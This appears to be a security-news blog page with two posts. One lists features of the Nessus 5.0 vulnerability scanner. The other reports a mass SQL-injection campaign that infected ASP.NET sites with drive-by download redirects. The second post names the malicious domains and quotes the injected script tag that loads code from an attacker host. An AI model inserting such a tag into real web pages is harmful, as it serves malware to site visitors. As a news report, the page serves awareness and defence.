• Over two dozen new pre-built plugin filters make it easy for security and compliance professionals to simplify policy creation for laser-focused scans on the areas that matter most. Users can quickly select multiple filter criteria, such as, Vulnerability Publication Date, public vulnerability database ID (OSVDB, Bugtraq, CERT Advisory, and Secunia), Plugin type (local or remote), information assurance vulnerability alert (IAVA), and more, to quickly identify easily-exploitable vulnerabilities. For example:

• Scan for all easily remotely-exploitable vulnerabilities for which there is an exploit published in your favorite exploit framework.

• Scan for local third-party client software that is unpatched.

• Scan for systems that have been missing patches for more than a year.

• Policies can be configured to produce reports that are locked to prevent editing.

Scan Execution: Improved efficiency:-
Nessus 5.0 users can take advantage of real-time scan results, on-the-fly filtering and sorting, and streamlined results navigation:

• New criticality level: Nessus v5.0 now has five severity levels — Informational, Low Risk, Medium Risk, High Risk, and Critical Risk. The Informational level quickly identifies non-vulnerability information and separates it from the vulnerability detail.

• Example: A user may want to run a query against all hosts running web servers not on the normal http or https ports, port 80 or port 443. The Informational level allows a user to quickly identify information that may be useful, but does not require immediate attention — keeping the focus on the actionable results.

• New vulnerability summary: A new vulnerability summary and redesigned host summary make it easy to see risk level without even running a report.

• Streamlined results navigation: One click to jump from a critical vulnerability to see the host(s) that is vulnerable to the details of the vulnerability.

• Take advantage of real-time results: As the scan is being run, not only can you see the results as they are being gathered, but navigate and filter on them as well. This allows you to easily act upon the vulnerability data while the scan is happening.

Report Customization:-
New reporting features allow for improved communication of vulnerability results with all parts of the organization:

• Results filtering and report creation: Results filtering and report creation is more flexible than ever before. Users can apply multiple result filtering criteria, and targeted reports can be generated against the filtered results.

• Create reports that contain only exploitable vulnerabilities, multiple risk levels (e.g., only show critical and high risk findings), filter on CVE or Bugtraq ID, plugin name, and more!

• Reports customized by audience: Reports can be customized for executives, systems administrators, or auditors. A user can exclude particular vulnerabilities from a report before it is generated, allowing delivery of results targeted to specific audiences.

• Example: During an internal scan, Nessus will report that a DNS server allows recursive queries, which is its function on the internal network. As this is a known condition, a user can suppress this result in the generated report to keep focus on true vulnerabilities.

• With four new pre-configured report formats — Compliance Check, Compliance Check (Executive), Vulnerabilities by Host, and Vulnerabilities by Plugin — users can quickly create reports by chapters.

• Example: The company’s compliance policy dictates that passwords be greater than ten characters in length. Nessus v5.0 runs a scan against the baseline, and the Compliance Check (Executive) report shows a pass/fail result to indicate if all hosts on the network are compliant with the minimum password length. With pass/fail results, the Compliance Check (Executive) report provides a quick snapshot of the company’s compliance checklist status.

• Report formats: Reports can be generated in native Nessus formats, HTML, and now PDF formats (requires Oracle Java be installed on the Nessus server).

• The new PDF report format makes it easier to share reports.

• Combined reports: Multiple report templates can be combined into one report.

• A single report can now contain vulnerabilities sorted by host and by IP address/hostname.

To Download Nessus click Here

SHARE OUR NEWS DIRECTLY ON SOCIAL NETWORKS:-
<a href=">Nessus 5.0 Vulnerability Scanner Released"https://www.voiceofgreyhat.com/2012/02/nessus-50-vulnerability-scanner.html</a>

Mass ASP.NET Infection Ongoing, So Far 614,000 Web-Pages Affected

An infection that causes poorly configured websites to silently bombard visitors with malware attacks has hit almost 614,000 webpages, Google searches show.

The mass infection, which redirects users to a site exploiting old versions of Oracle's Java, Adobe's Flash player and various browsers, was first disclosed by Armorize on Wednesday. At the time, it appeared to affect about 180,000 pages. 

By time of writing on Friday, the initial attack and a follow-on exploit has spread to 613,890 combined pages. The SQL injection attack mostly exploits websites running Microsoft's ASP.Net web application framework.

The infection injects code into websites operated by restaurants, hospitals, and other small businesses and plants an invisible link in visitors' browsers to sites including jjghui.com and nbnjkl.com. Those sites in turn redirected to several other websites that include highly obfuscated code. At the end of the line is a cocktail of attacks that exploit known vulnerabilities in Java and the other targeted programs. Computers running unpatched versions are then commandeered. Servers in the attack used IP addresses based in the US and Russia.

To Download the Script Click Here 

The scripts causes the visiting browser to load an iframe first from www3.strongdefenseiz.in and then from www2.safetosecurity.rr.nu. Multiple browser-based drive-by download exploits are served depending on the visiting browser. In a drive-by download attack, visitors who navigate to the infected websites will be installed with malware on their machines without their knowledge. This is if they have outdated browsing platforms (browser or Adobe PDF or Adobe Flash or Java etc).
This wave of mass injection incident is targeting ASP ASP.NET websites. Currently, the 6 out of 43 antivirus vendors on VirusTotal can detect the dropped malware.

ASP and ASP.NET websites are injected with the following script (Text is Here):
<script src=http://jjghui.com/urchin.js></script>

 

 

-News Source (The Register & Armorize Blog)

SHARE OUR NEWS DIRECTLY ON SOCIAL NETWORKS:-
<a href=">Mass ASP.NET Infection Ongoing, So Far 614,000 Web-Pages Affected"https://www.voiceofgreyhat.com/2011/10/mass-aspnet-infection-ongoing-so-far.html</a>